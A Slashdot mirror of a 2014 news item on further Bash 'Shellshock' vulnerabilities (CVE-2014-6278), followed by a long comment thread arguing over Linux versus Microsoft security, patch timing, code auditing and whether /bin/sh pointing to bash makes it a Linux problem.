Slashdot Mirror


Bash To Require Further Patching, As More Shellshock Holes Found

Bismillah writes Google security researcher Michael 'lcamtuf' Zalewski says he's discovered a new remote code execution vulnerability in the Bash parser (CVE-2014-6278) that is essentially equivalent to the original Shellshock bug, and trival to exploit. "The first one likely permits remote code execution, but the attack would require a degree of expertise to carry out," Zalewski said. "The second one is essentially equivalent to the original flaw, trivially allowing remote code execution even on systems that deployed the fix for the initial bug," he added.

329 comments

  1. Soon to be patched by Anonymous Coward · · Score: 0, Troll

    At least on Linux. Sorry, Mactards!

    1. Re:Soon to be patched by king+neckbeard · · Score: 4, Insightful

      I think you'll find bone-headed obvious holes from time to time from almost all software vendors, with MS being no exception.

      --
      This is my signature. There are many like it, but this one is mine.
    2. Re:Soon to be patched by Anonymous Coward · · Score: 0, Flamebait

      You thought you could run a totally free hobbyist OS and have it be as secure as one done by paid professionals?

      Be glad its there for you to use at all. People donate their time and energy to it. Don't look a gift horse in the mouth.

    3. Re:Soon to be patched by Dcnjoe60 · · Score: 5, Insightful

      You thought you could run a totally free hobbyist OS and have it be as secure as one done by paid professionals?

      Be glad its there for you to use at all. People donate their time and energy to it. Don't look a gift horse in the mouth.

      Some would argue that Mac OS X isn't a totally free hobbyist OS and yet, with all of their paid professionals, they have yet to patch the bug. On the other hand, Linux being a free hobbyist OS means that researchers have the ability to scan the code and discover these types of holes. Something that is impossible for closed systems.

    4. Re:Soon to be patched by gmuslera · · Score: 5, Informative

      The Microsoft that delays releasing patches for zero-day vulnerabilities so the NSA can exploit them first? The one that took 7 years to fix a known vulnerability? The one that took 7 months to fix a remote IE exploit after it was reported, just because it wasn't public enough?

      And with linux, as long as you install from your distribution (that already have most if not all that you will ever need to install), you have security fixes for all of what you have installed, not just the kernel or a minimal core of apps.

    5. Re:Soon to be patched by Anonymous Coward · · Score: 0

      A lot of Linux proponents will get fired for this. Imagine selling Linux internally to management based on security and then this happens (and Heartbleed not even 6 months ago)! Nobody ever got fired for using Microsoft..

      Not to mention RedHat is not any kind of savings vs. Microsoft..

    6. Re:Soon to be patched by Dcnjoe60 · · Score: 2, Insightful

      Fucking Linux. NEVER AGAIN. At least with mswin, my stations will auto-update. (Not to mention they never would have had such a bone-headed obvious hole to start with.) Christ, even my headless server stations that I never thought I'd have to fuck with again are vulnerable. Goddmammit. This could even compromise accounts I have on remote servers if they are not keeping up-to-the-minute updates. I guess you get what you pay for. Caveat Emptor. I just never thought it would come back to bite me so hard. I suppose you never do.

      What makes you think Windows doesn't have problems like this? The difference is that being open source third parties can review the code and find problems. There is no way to keep them secret and from the public. Also, fixes were pushed out within hours of notification.

      Look at it this way. BASH has had this problem evidently for years and there haven't been any exploits. It was discovered by researchers analyzing the code. In an MSoft world, where nobody has access to the code but MSoft, the public finds out about security holes after they have been exploited. So I agree, Caveat Emptor.

    7. Re:Soon to be patched by Kythe · · Score: 1, Troll

      Exactly. My goodness, Windows is legendary not only for having severe holes, but for Microsoft taking a long time to fix them.

      --

      Kythe
    8. Re:Soon to be patched by indeterminator · · Score: 4, Funny

      Nobody ever got fired for using Microsoft..

      Seems like a management oversight. I would be shocked to find that I have to pay for upgrades every couple of years.

    9. Re: Soon to be patched by Anonymous Coward · · Score: 0

      What're you, a Microsoft astroturfer?

      Seriously though, if this was in the wild and it was commonly known, honeypots would've been exploited by this bug, and we would have known about it immediately. There is no such thing as invulnerable code, proprietary or open, and you would be a fool to believe otherwise.

    10. Re:Soon to be patched by Revek · · Score: 1

      Shill much? I had three machines. One running Ubuntu, one Centos and the last one FreeBSD. The FreeBSD box was scripted to update ports regularly. The Ubuntu machine also runs updates from cron. The Centos wasn't set to update automatically but updated without issue. I went ahead and made it update on a weekly schedule while I was at it. In short free does not mean maintenance free. Microsoft has had its share of bugs some of which remain unpatched to this day.

    11. Re:Soon to be patched by K.+S.+Kyosuke · · Score: 3, Funny

      Apparently, it is not "Ubuntu" but rather "Anonymous Coward" that actually means "I can't configure Debian".

      --
      Ezekiel 23:20
    12. Re:Soon to be patched by Bonzoli · · Score: 1

      Its not hobbiest, not sure where your coming from, you seem like the same guy trolling a conversation that makes no sense. All OS's have problems and will require patches on a regular basis. Let me know if any Non free or free OS that does not require security patches.

    13. Re:Soon to be patched by K.+S.+Kyosuke · · Score: 5, Informative

      Except that Heartbleed had nothing to do with Linux. Many things out there use OpenSSL.

      --
      Ezekiel 23:20
    14. Re:Soon to be patched by Anonymous Coward · · Score: 0

      What makes you think Windows doesn't have problems like this? The difference is that being open source third parties can review the code and find problems.

      Microsoft has the resources to internally do regular code audits and actual quality assurance. This speaks much more than the theoretical capability that someone somewhere can review some piece of open source code.

    15. Re:Soon to be patched by fuzznutz · · Score: 3, Interesting

      Hey Anonymous coward. How many of PF Chang's, Target's, Jimmy John's, and Home Depot's POS machines were running Linux?

    16. Re:Soon to be patched by NatasRevol · · Score: 5, Funny

      The reason Windows doesn't have problems like this

      HOLY

      FUCKING

      SHIT

      --
      There are two types of people in the world: Those who crave closure
    17. Re: Soon to be patched by Anonymous Coward · · Score: 0

      Except you can review their source for .Net: http://referencesource.microsoft.com/ Windows checked and debug builds are available etc

      Source is available to review which is different from being open source as that has other implications in terms of licensing, copyright etc; but from a security standpoint it is available - perhaps not to a casual viewer, but it is under a lot more external scrutiny than you seem to think

    18. Re:Soon to be patched by goarilla · · Score: 0

      Not to mention RedHat is not any kind of savings vs. Microsoft..

      Have you included hardware costs in your equation ?
      Windows Server does need beefier hardware more than not to provide the same level of service
      maybe that has changed with Windows Core. But I haven't used it yet, and using
      it instead of the GUI costs in ease of administration that Windows seem to offer in favor of linux.

    19. Re:Soon to be patched by tibit · · Score: 1

      Of course it's pretty much irrelevant. The bug doesn't matter in practice unless you're doing other, severely braindead things.

      --
      A successful API design takes a mixture of software design and pedagogy.
    20. Re:Soon to be patched by tibit · · Score: 0

      This is feeding the troll, but the bug's importance is overblown IMHO. It is exploitable on systems that are otherwise full of holes anyway.

      --
      A successful API design takes a mixture of software design and pedagogy.
    21. Re:Soon to be patched by mitzampt · · Score: 1

      If you have the bucks then pay the professional, I haven't heard of any of them to do a terrible job for the huge paycheck. And the insurance will not cover even if a 'professional' did a lousy job.
      What the guys in the thread are stressing and you are not getting is the regulation of said job(s). And in my opinion both FOSS and closed source lack, in practice, a lot of testing scenarios. Being a conscious fellow I can add my own hacks... er... tests to see what I am installing, to more or less satisfying results and I always open a bug report when things aren't ok. And the tests, in my experience, are more easy to do and have shorter resolution loop (including feedback and push forth) in open source as it is in closed source. Also, the guys back at the source are really helpful even if you didn't pay for a support contract and the criteria for selecting your bug to be resolved are in most cases technical and fair.

      --
      uhm...
    22. Re:Soon to be patched by benjymouse · · Score: 5, Informative

      What makes you think Windows doesn't have problems like this?

      They did. But it is a long time since that last vulnerability on this scale. Following the embarrassing Nimda and Code Red (and many vulnerabilities in IIS), Microsoft started it's "security push". The central part of that is the Secure Development Lifecycle (SDL) which as a collection of processes, methodologies, tooling, mandatory education, guidance and mandatory threat modelling, reviews and auditing.

      The difference is that being open source third parties can review the code and find problems. There is no way to keep them secret and from the public.

      That all fine and dandy. Only, these bugs (the original Shellshock and these later) have existed for 22+ years! During all that time, nobody (we hope) "reviewed the code and found problems". So, if there were any third parties looking at the source, they failed miserably (or sold exploit information on the black market).

      Look, there have been bugs found in old MS code as well. A few years back there was a vulnerability in the old DOS emulation code.

      It is time to let the myth of the many eyes die. The community is not going to help you by reviewing code unless you *pay* them to do so. It is the most boring discipline of developing code, and nobody does it out of interest.

      A company like Microsoft can *pay* people to review and audit code. A big part of SDL is exactly those supporting roles and checks/gates. The open source community must wake up and set up foundations OpenSSL style and start asking those who reap the biggest benefits for some funding.

      Also, fixes were pushed out within hours of notification.

      Do you really want to go there, given the incomplete patches and host of related problems which could have been found had the maintainers taken more time?

      Part of SDL in Microsoft is exactly a process where, when a vulnerability has been reported, they must take time to analyze if there are related or similar vulnerabilities, what impact a patch could have. On top of that they have a gigantic test farm where they test for compatibility with a huge number of popular software applications.

      Essentially, what Microsoft does *internally* and prior to releasing information on the bug, is now what for bash takes place *externally* (external security researchers) and *after* the vulnerability info was released.

      Look at it this way. BASH has had this problem evidently for years and there haven't been any exploits. It was discovered by researchers analyzing the code. In an MSoft world, where nobody has access to the code but MSoft, the public finds out about security holes after they have been exploited.

      No no no no. This bash problem was discovered by someone trying to see if you could pass a lambda (an anonymous function) from a bash shell instance to a subshell. He then noticed some weirdness and investigated.

      After the bug has become known, security "researchers" homed in on the bash interpreter. Still from *the outside* (i.e. NOT looking at the source code), more vulnerabilities were found (see Tavis Ormandy's tweets).

      The easiest way to find these bugs remains to just play around with bash and try to throw it off with weird syntax. And that is how these bugs are being found.

      There is absolutely no evidence that having open source code makes the product more or less secure. To be honest, only the most obvious bugs are ever found by inspecting the code - which tend to be the same class of bugs that would be found with just some cursory testing.

      No, the quality of the code is impacted by the quality assurance processes that surround the development process, such as testing, threat modelling, security audits, tooling, guidance etc.

      --
      Reading slashdot one-liner: (irm http://rss.slashdot.org/Slashdot/slashdot).rdf.item | fl title,desc*
    23. Re: Soon to be patched by Kythe · · Score: 1

      Exactly. The only way anyone could think "Windows doesn't have holes like this" is if one literally pays no attention at all.

      Or if one is here to spread misinformation as an AC.

      --

      Kythe
    24. Re:Soon to be patched by Luckyo · · Score: 1

      You'll be shocked even more when you understand that you don't. Companies pay yearly license to microsoft largely regardless of upgrade status.

    25. Re:Soon to be patched by kefalonia · · Score: 1

      RedHat is far more economical than Windows, when you need a big population of nodes, because you can use fi. free Scientific Linux on your many compute nodes and just keep one or two for validation of bugs and formal support. Best of all, it is all legal as long as you don't misrepresent the facts!

    26. Re: Soon to be patched by Anonymous Coward · · Score: 1

      Is this a generation thing ?

      I thought these were features 20 years ago, and these features required sanitizing your input.

      This is like little Bobby tables but with bash.

        Sanitize your inputs for anything not expected, only process acceptors input.

    27. Re:Soon to be patched by Anonymous Coward · · Score: 0

      Open SORES can be looked at by hacker/cracker types to find vulnerabilities faster too.

    28. Re:Soon to be patched by Anonymous Coward · · Score: 1

      I think the GP is referring to the business precept that it isn't the amount of shit rolling downhill that matters, but rather where it stops.

      That's why you see companies doing seemingly silly things like purchasing manufacturers' support contracts for obscene amounts of money when the same support could be provided in-house for less than a tenth the cost. The reason is that if all hell breaks loose, if you have a support contract(*) you can shift the blame onto the manufacturer, but if you're doing it in-house and it breaks, you only have yourself to blame.

      So if you have a Microsoft machine, and it has a severe remote vulnerability, you can say "Hey, it's not our fault! We're using software provided for this purpose by one of the biggest software companies in the world. If they didn't know it was broken, what chance did we have?" Whereas if you're using a system which was put together in-house, especially if such a system was billed as a "cost-cutting option" in opposition to a CYA Microsoft option, the blame stops at the in-house people who put it together. Offloading the blame to a nebulous group of people on the Internet to whom you paid absolutely no money tends not to work.

      *) I know Microsoft typically doesn't have a support contract with similar monetary disaster penalties, but the same general pass-the-blame approach applies, even if no money changes hands because of it.

    29. Re:Soon to be patched by Anonymous Coward · · Score: 1

      It's time for big companies that use open source code (Amazon, Google, Apple, even Microsoft) to start *paying* their employees to do security checks on these open source projects. I know they already support OSS, but maybe it's time to get serious about it?

    30. Re: Soon to be patched by O('_')O_Bush · · Score: 1

      Oh, good, for an OS with many tens of millions of lines of code, you can review code for one slightly related development framework.

      And that somehow means the rest of the OS is reviewed well..

      AT LEAST THERE'S THAT.

      --
      while(1) attack(People.Sandy);
    31. Re:Soon to be patched by BronsCon · · Score: 0

      So Blaster never happened?

      --
      APK quotes people (including myself) without context and should not be trusted. Just thought you should know.
    32. Re:Soon to be patched by BronsCon · · Score: 5, Informative

      Well, let's see here... Heartbleed was a bug in OpenSSL, use in a lot of software that has nothing at all to do with Linux, and Shellshock is a bug in the Bash shell, which predates Linux by 2 years and is used on a lot of systems that have nothing at all to do with Linux. Neither bug was a Linux bug, though both affected Linux systems; both also had the ability to affect Windows systems running any number of applications that rely on OpenSSL (if you open your eyes, you might be amazed how many and how common) or Bash (fewer, but still not completely unheard of; there are a number of POSIX layers for Windows, and all of them use Bash by default as far as I'm aware).

      The last time I posted these facts, I was modded flamebait, and I'm sure it'll happen again. Plenty of karma to burn, though, so, whatever.

      --
      APK quotes people (including myself) without context and should not be trusted. Just thought you should know.
    33. Re:Soon to be patched by cHiphead · · Score: 2

      Lol.

      You pay for Software Assurance and yet their release cycles seem to push past the edge of the 3 year SA agreements in so many cases, requiring ongoing renewal of SA in order to not lose it.

      They took notes from Cisco's playbook on how to long term fuck their clients.

      --

      This is my sig. There are many like it, but this one is mine.
    34. Re:Soon to be patched by BronsCon · · Score: 5, Informative

      Shellshock has nothing to do with Linux, either. Bash predates Linux by 2 years.

      --
      APK quotes people (including myself) without context and should not be trusted. Just thought you should know.
    35. Re:Soon to be patched by BronsCon · · Score: 0

      Let's play out a hypothetical, here. Let's say this exact bug exists within Powershell. When will it be discovered and patched?

      Can you look for it? Nope. If Microsoft looking for it? Probably not, they're busy fixing *reported* bugs and writing *new* code. When will it be found? 20 years sounds optimistic.

      --
      APK quotes people (including myself) without context and should not be trusted. Just thought you should know.
    36. Re:Soon to be patched by BronsCon · · Score: 1

      And it still took 20 years. That argument is bunk, just like the argument that it's automatically more secure because it's open. It *can be* more secure, but people actually have to audit it.

      --
      APK quotes people (including myself) without context and should not be trusted. Just thought you should know.
    37. Re:Soon to be patched by UnderCoverPenguin · · Score: 1

      A few things:

      1. Linux can auto-update.

      2. My employer's IT department does not blindly accept auto-updates. All PCs - both mswin and Linux - are configured to update from the company's servers, not any server outside the company. IT vets all updates before making them available on the company update servers.

      3. The mswin experts (MS certified) in my employer's IT department have found and reported several "bone-headed obvious holes" in mswin.

      4. Just because you are paying fees to receive commercial support does not mean you can setup-and-forget.

      --
      Don't try to out wierd me, three-eyes. I get stranger things than you, free with my breakfast cereal. --Zaphod Beeblebr
    38. Re: Soon to be patched by Anonymous Coward · · Score: 0

      "You" won't find holes in ms code as it is a "trade secret" how bad it is. I mean, how do we know that cmd.exe doesn't have the same problems? Oh yeah, because the creator (read as those idjits that can't seem to release a patch that doesn't cause system crashes) says so.

    39. Re:Soon to be patched by Anonymous Coward · · Score: 1

      The Shellshock bug is from 1992.

    40. Re: Soon to be patched by Anonymous Coward · · Score: 0

      For some reason you think the load balancer or firewall sitting in front of your swiss cheese windows server isn't running BSD or linux?

      Interesting... so you use windows firewall to be safe?

    41. Re:Soon to be patched by jones_supa · · Score: 1

      Blaster (and Mydoom, Sasser, Loveletter, all the classics) is from the era when vulnerabilities actually were a very serious problem with Microsoft software, including Windows, Outlook, Internet Explorer, Internet Information Server. Back then, Linux still did provide significant benefits over that junkpile. But times have changed.

    42. Re:Soon to be patched by Anonymous Coward · · Score: 1

      ACK! Do any of the windows advocates have any memory of 'Win Nuke' ? 'Code Red' ? Consider that out-of-the-box Microsoft _STILL_ exposes all of those ports on a PUBLIC IPv6 ADDRESS if you choose to enable IPv6. that's right, a firewall will NOT protect you, unless you can configure firewall rules for IPv6 packets on your router. Fortunately, I can (with a non-windows OS), and it's a built-in feature of the OS to a) be an IPv6 gateway, and b) firewall-filter it. So I had to check to see what ports were listening on XP, Vista, 7, and 8.x, and program firewall rules for them, before letting them use IPv6. And hopefully I got it right. Because _MICROSOFT_ _GOT_ _IT_ _WRONG_ and I don't see any patches disabling those listening ports, either. Remember, 'WinNuke' would allow someone to bluescreen your windows box by simply being on the internet. Just send a malformed packet to UDP port 139 [I think that was right] and _BOOM_. It didn't matter if you allowed SMB sharing. The port was STILL open. That was a HUGE hole. And the thing is, the port is _STILL_ open but NOW on public IPv6 addresses! YES, any web server _COULD_ figure out your public IPv6 address and _THEN_ exploit your windows machine. Potentially.

    43. Re:Soon to be patched by TangoMargarine · · Score: 1

      You thought you could run a totally free hobbyist OS and have it be as secure as one done by paid professionals?

      Red Hat Linux

      pwnt

      --
      Unity? Screw that: XFCE. Slashdot Beta? Screw that: SoylentNews. Australis? Screw that: Pale Moon. UX developers DIAF
    44. Re:Soon to be patched by BronsCon · · Score: 1

      The ability to drop the GUI and slim the system down to run on a machine with very limited resources, while still having a full system (e.g. not CE) is a significant benefit over Windows. Even on systems without limited resources, it's a benefit to be able to slim down the OS as much as possible and provide those resources to your application.

      For those of us who install security updates automatically, this was patched within hours of being discovered, and each further patch has been applied within hours, as well. On a Windows system set to install updates automatically, bugs *still* go unpatched for months after being reported.

      I'm saying this not as a Linux proponent, but as someone who uses all 3 major systems on a daily basis, for whom Linux isn't even a primary system.

      --
      APK quotes people (including myself) without context and should not be trusted. Just thought you should know.
    45. Re:Soon to be patched by Anonymous Coward · · Score: 0

      the next 'winnuke' will be yours to experience, I'm sure. Do you use IPv6? How many of those ports are _STILL_ _EXPOSED_ ? How much money to you have to pay for a FIREWALL application to block something that should be BLOCKED! BY! DEFAULT! ?? 'Nuff I think.

    46. Re:Soon to be patched by TheRaven64 · · Score: 3, Interesting

      On the open source projects I've worked on where Google is a big contributor, they are very keen to push features and randomly refactor large parts of code, but I've never seen them do anything like a security audit. They did, however, do a big audit of libavcodec (which they use) and fix around 300 security holes...

      --
      I am TheRaven on Soylent News
    47. Re:Soon to be patched by mi · · Score: 2

      Neither bug was a Linux bug, though both affected Linux systems

      Arguably, the bug in Linux was in that it chose to use a program as large and complicated as bash as its idea of /bin/sh.

      Though bash is, of course, available on all other OSes, no one else makes it the interpreter behind most of the system's own scripts as well as the system(3) function.

      --
      In Soviet Washington the swamp drains you.
    48. Re:Soon to be patched by BronsCon · · Score: 1

      Technically, it would be a bug in any script starting with

      #!/bin/bash

      having absolutely nothing to do with Linux.

      --
      APK quotes people (including myself) without context and should not be trusted. Just thought you should know.
    49. Re:Soon to be patched by Dcnjoe60 · · Score: 2

      Nobody actually said that Linux is more secure. What has been said that security flaws are more likely to be reported and patched before they are exploited. The reason Windows doesn't have problems like this is because they really do. However, Microsoft is very good about non-disclosure agreements and the like. But, security by obscurity isn't really security. It's just marketing and wishful thinking.

      As for being burned by this, it hasn't happened. The flaw has been there for 22 years and yet not one exploit has been noted. Nobody has been burned by this because of the difficulty in actually exploiting it (without have physical access to the machine). Should this bug be there? No, of course not. But it is the open source nature of linux that led to this even being reported.

    50. Re:Soon to be patched by TemporalBeing · · Score: 3, Informative

      Lol.

      You pay for Software Assurance and yet their release cycles seem to push past the edge of the 3 year SA agreements in so many cases, requiring ongoing renewal of SA in order to not lose it.

      They took notes from Cisco's playbook on how to long term fuck their clients.

      They started the that policy in when Windows XP (and Server 2003) were released, and lost a third of the customers when they didn't deliver a new release within the 3 year Window. Yes, some of those got new policies later after that, but that policy change also drove many to evaluating Linux as an alternative (well documented at the time in the news) and some to switch when they found out they didn't really need Windows or Microsoft.

      --
      Truth is like the sun. You can shut it out for a time, but it ain't goin' away. - Elvis Presley (source: imdb.com)
    51. Re:Soon to be patched by TemporalBeing · · Score: 1

      I think the GP is referring to the business precept that it isn't the amount of shit rolling downhill that matters, but rather where it stops.

      That's why you see companies doing seemingly silly things like purchasing manufacturers' support contracts for obscene amounts of money when the same support could be provided in-house for less than a tenth the cost. The reason is that if all hell breaks loose, if you have a support contract(*) you can shift the blame onto the manufacturer, but if you're doing it in-house and it breaks, you only have yourself to blame.

      So if you have a Microsoft machine, and it has a severe remote vulnerability, you can say "Hey, it's not our fault! We're using software provided for this purpose by one of the biggest software companies in the world. If they didn't know it was broken, what chance did we have?" Whereas if you're using a system which was put together in-house, especially if such a system was billed as a "cost-cutting option" in opposition to a CYA Microsoft option, the blame stops at the in-house people who put it together. Offloading the blame to a nebulous group of people on the Internet to whom you paid absolutely no money tends not to work.

      *) I know Microsoft typically doesn't have a support contract with similar monetary disaster penalties, but the same general pass-the-blame approach applies, even if no money changes hands because of it.

      Which is where Canonical, Red Hat, and SuSE step in - to provide those CYA agreements.

      --
      Truth is like the sun. You can shut it out for a time, but it ain't goin' away. - Elvis Presley (source: imdb.com)
    52. Re:Soon to be patched by TemporalBeing · · Score: 0

      Not to mention RedHat is not any kind of savings vs. Microsoft..

      Have you included hardware costs in your equation ?
      Windows Server does need beefier hardware more than not to provide the same level of service

      Certainly does.

      Maybe that has changed with Windows Core. But I haven't used it yet, and using it instead of the GUI costs in ease of administration that Windows seem to offer in favor of linux.

      MinWin could certainly run on nearly anything that runs Linux where the two are available on the same processor; but you can't get MinWin as it was simply an internal project for Microsoft that they never made a public release of.

      Server Core, though, was meant to compete with Linux Systems. However, (last I knew) they severely limited it by allowing only one "Server Role" per Server Core system. That is, a Windows Server Core system could have the "File Server" Server Role installed, but then it cannot also do other things, Active Directory Server Role or Exchange Server Role, etc. And they did the dumbest thing of putting the command-line in the GUI, well - not so dumb since they have really horrific command-line tools so its nearly impossible to be effective and efficient on the command-line.

      (Yes, you can do a lot on the command-line, but only after a lot of development effort to do so. Good luck trouble shooting on just the command-line.)

      --
      Truth is like the sun. You can shut it out for a time, but it ain't goin' away. - Elvis Presley (source: imdb.com)
    53. Re:Soon to be patched by TemporalBeing · · Score: 2

      The Shellshock bug is from 1992.

      Please quote the bug report and date filed.

      --
      Truth is like the sun. You can shut it out for a time, but it ain't goin' away. - Elvis Presley (source: imdb.com)
    54. Re:Soon to be patched by Anonymous Coward · · Score: 0

      "server stations that I never thought I'd have to fuck with again are vulnerable"

      You should never be allowed to manage a server again.

    55. Re:Soon to be patched by TemporalBeing · · Score: 1

      What makes you think Windows doesn't have problems like this?

      They did. But it is a long time since that last vulnerability on this scale. Following the embarrassing Nimda and Code Red (and many vulnerabilities in IIS), Microsoft started it's "security push". The central part of that is the Secure Development Lifecycle (SDL) which as a collection of processes, methodologies, tooling, mandatory education, guidance and mandatory threat modelling, reviews and auditing.

      OSS has SDL too, primarily due to very extensive use by many projects of code testing (f.e autotest), Coverity testing (provided for free to OSS projects), use of Valgrind, and more. OSS projects generally have far more testing involved with them than closed projects, in part b/c people report bugs and those bugs become tests in the project's test suite.

      And with companies like Red Hat, Coverity, etc providing more influential secure coding testing and fixing patches (Red Hat, Debian, etc) it probably gets done more often.

      But let's not also forget in OSS patches tend to stay in the code; where MIcrosoft has a long history of applying a fix in one patch, undoing it in the next, and having to repatch over and over again (see the WMF bugs, repatched from Win NT4 through Windows 7, if even Windows 8, e.g after SDL was implemented).

      The difference is that being open source third parties can review the code and find problems. There is no way to keep them secret and from the public.

      That all fine and dandy. Only, these bugs (the original Shellshock and these later) have existed for 22+ years! During all that time, nobody (we hope) "reviewed the code and found problems". So, if there were any third parties looking at the source, they failed miserably (or sold exploit information on the black market).

      Look, there have been bugs found in old MS code as well. A few years back there was a vulnerability in the old DOS emulation code.

      It is time to let the myth of the many eyes die. The community is not going to help you by reviewing code unless you *pay* them to do so. It is the most boring discipline of developing code, and nobody does it out of interest.

      A company like Microsoft can *pay* people to review and audit code. A big part of SDL is exactly those supporting roles and checks/gates. The open source community must wake up and set up foundations OpenSSL style and start asking those who reap the biggest benefits for some funding.

      Companies like Coverity provide it for free to OSS projects, and companies like Red Hat and Canonical pay for it as well. The OSS community has the practices and reviews in place on many projects; there's a few, like OpenSSL, that have slipped through due to the structure of the teams surrounding them. For OpenSSL many probably assumed that since OpenSSL was FIPS certified that things were being done in the OSS branch too; Heartbleed revealed that assumption to be false and now we have LibreSSL as a result where the norms for OSS projects are being applied.

      Also, fixes were pushed out within hours of notification.

      Do you really want to go there, given the incomplete patches and host of related problems which could have been found had the maintainers taken more time?

      Part of SDL in Microsoft is exactly a process where, when a vulnerability has been reported, they must take time to analyze if there are related or similar vulnerabilities, what impact a patch could have. On top of that they have a gigantic test farm where they test for compatibility with a huge number of popular software applications.

      Essentially, what Microsoft does *internally* and prior to releasing information on the bug, is now what for bash takes place *externally* (external security researchers) and *after* the vulnerability info was released.

      Look at it this way - projects release the fixes very

      --
      Truth is like the sun. You can shut it out for a time, but it ain't goin' away. - Elvis Presley (source: imdb.com)
    56. Re:Soon to be patched by mi · · Score: 1

      having absolutely nothing to do with Linux.

      Oh, it has plenty to do with Linux, because if you happen to use that OS, even putting the #!/bin/sh at the top still makes you vulnerable. Observe:

      % ls -l /bin/sh
      lrwxrwxrwx 1 root root 4 Sep 26 15:55 /bin/sh -> bash

      I said that already, you chose to ignore it for some reason...

      And then, of course, comes the system(3) call, which invokes /bin/sh too...

      --
      In Soviet Washington the swamp drains you.
    57. Re:Soon to be patched by x_t0ken_407 · · Score: 1

      Obvious troll is obvious.

    58. Re:Soon to be patched by chispito · · Score: 1

      Unfortunately, Linux has a lot to do with Bash.

      --
      The Daddy casts sleep on the Baby. The Baby resists!
    59. Re:Soon to be patched by Anonymous Coward · · Score: 0

      Funny, as multiple Windows 2012 servers at my buddy's work were just 100% owned by a foreign entity, and they're STILL frantically trying to discover how it happened. This happens on a fairly regular basis, based on the stories I hear from Windows admins at Fortune 500 companies. My company doesn't have any Windows servers, and we've never had a security vuln bite our ass. Even if we did, we could sequester those servers within minutes. The Windows Servers just won't, they are practically autonomous on the network while rooted, and only turning them off can mitigate the damage, which also typically causes LOTS of damage to workflow.

    60. Re:Soon to be patched by Noah+Haders · · Score: 1

      Some would argue that Mac OS X isn't a totally free hobbyist OS and yet, with all of their paid professionals, they have yet to patch the bug. On the other hand, Linux being a free hobbyist OS means that researchers have the ability to scan the code and discover these types of holes. Something that is impossible for closed systems.

      they're probably taking their time to patch it right instead of running down all these rabbitholes. note how the original patches just went out and here's a second problem.

    61. Re:Soon to be patched by BronsCon · · Score: 1

      Well, yeah, if your distro symlinks /bin/sh to /bin/bash, which not all do. In fact, you can install sh, zsh, dash, or any other shell, alongside bash, even on systems that symlink to /bin/bash by default, completely negating your entire point. Looks like you did that on a fedora-based system? I'm going to guess RedHat or CentOS? Observe (from one of my production systems):

      ls -l /bin/sh
      lrwxrwxrwx 1 root root 4 Mar 29 2012 /bin/sh -> dash


      My production (and development, for that matter) systems are not vulnerable in that manner, because I didn't configure them like a jackass; in fact, any init scripts on those systems requesting a shell other than /bin/sh (that is to say, those requesting /usr/bin/php, /usr/bin/perl, or some other interpreter were left alone) were altered to use /bin/sh with no apparent ill consequences.

      My point is that this is not a Linux bug, it is a bash bug. Bash is used on HPUX, amongst many other UNIX variants, up to and including OSX, as well as many, if not most (or all) Windows POSIX layers. Your cable or DSL modem probably has bash running on it somewhere, FFS.

      --
      APK quotes people (including myself) without context and should not be trusted. Just thought you should know.
    62. Re:Soon to be patched by BronsCon · · Score: 1

      So do OSX, HPUX, and just about every other UNIX variant out there, as well as BSD and any number of embedded systems, and any Windows install running a POSIX layer. It's a POSIX issue, by way of bash being common amongst POSIX systems, not a Linux issue. Focusing on Linux as a means to be able to say "hey, look, Linux fucked up" serves only to mask the existence of the vulnerability in the vast majority of systems *not* running Linux but also running Bash. For the sake of security, as a whole, please, don't do that.

      --
      APK quotes people (including myself) without context and should not be trusted. Just thought you should know.
    63. Re:Soon to be patched by Anonymous Coward · · Score: 0

      Do you know the meaning of the word "undiscovered"?

    64. Re:Soon to be patched by rahvin112 · · Score: 1

      I'd prefer that they fix the bug that's known about immediately then look for additional ones. That delay to find other similar bugs is how lots and lots of servers get exploited. You close each hole as quickly as you can. The day the Bash exploit came out there were exploits actively scanning within a few hours. Had they delayed to look for similar bugs for a day or week everyone's servers would be compromised.

      Yes you should search for similar bugs and do some extensive testing, but delaying fixes for remotely exploitable bugs is beyond stupid. Particularly where the exploit is trivial, requires no permissions and is already in the wild being exploited. Microsoft has a history of delaying those fixes, sometimes for as long as 7 months. That's not a good policy.

    65. Re:Soon to be patched by BronsCon · · Score: 1

      Do you have a copy of the bash source code in which this bug was first introduced? There is no versioning going that far back for bash, so you can't possibly know *when* it was introduced. It's quite possible that it's from 1989, when bash was first created, 2 years before Linux came to be.

      --
      APK quotes people (including myself) without context and should not be trusted. Just thought you should know.
    66. Re:Soon to be patched by mi · · Score: 1

      I'm going to guess RedHat or CentOS?

      Yep.

      Observe (from one of my production systems)

      What is the market share of your Linux-distribution?

      My point is that this is not a Linux bug, it is a bash bug.

      It absolutely is a bash bug, yes. It is also a bug in any Linux, that makes it /bin/sh.

      --
      In Soviet Washington the swamp drains you.
    67. Re:Soon to be patched by BronsCon · · Score: 1

      What is the market share of your Linux-distribution?

      It's Ubuntu, so whatever their market share is. 12.04 if you want to get specific.

      It absolutely is a bash bug, yes. It is also a bug in any Linux, that makes it /bin/sh.

      It is also an OSX bug, an HPUX bug, a vxWorks bug, and, well, really, a bug in any OS that has bash installed, which makes it a Windows bug in a not-insignificant number of cases, as well. Also, consider that the thousands of Cygwin and MinGW users out there are also likely running servers on top of that POSIX layer on their windows system, they're almost certainly vulnerable.

      --
      APK quotes people (including myself) without context and should not be trusted. Just thought you should know.
    68. Re:Soon to be patched by mi · · Score: 1

      It's Ubuntu, so whatever their market share is.

      Not much. RedHat/CentOS dominate — and they are vulnerable...

      It is also an OSX bug, an HPUX bug, a vxWorks bug, and, well, really, a bug in any OS that has bash installed

      Not quite. Merely having it installed is not enough. Placing it into the all-important role of /bin/shthat is what makes it particularly dangerous — and a bug of whatever OS does such a thing.

      You may have all your CGI-scripts written in Perl or Lisp, but if you use system() anywhere to spawn off a different program, then you are exposed to this problem on those systems.

      Whether or not Ubuntu and CentOS are different OSes or just different distributions, is a matter of semantics...

      --
      In Soviet Washington the swamp drains you.
    69. Re:Soon to be patched by BronsCon · · Score: 1

      Whether or not Ubuntu and CentOS are different OSes or just different distributions, is a matter of semantics...

      Then call it a CentOS or Ubuntu bug. There is nothing intrinsic to Linux, itself, that make is any more or less vulnerable to this *bash* bug.

      --
      APK quotes people (including myself) without context and should not be trusted. Just thought you should know.
    70. Re:Soon to be patched by Noah+Haders · · Score: 1

      second update: apple pushed a patch today. so much for your +5 haterade.

    71. Re:Soon to be patched by Dcnjoe60 · · Score: 1

      second update: apple pushed a patch today. so much for your +5 haterade.

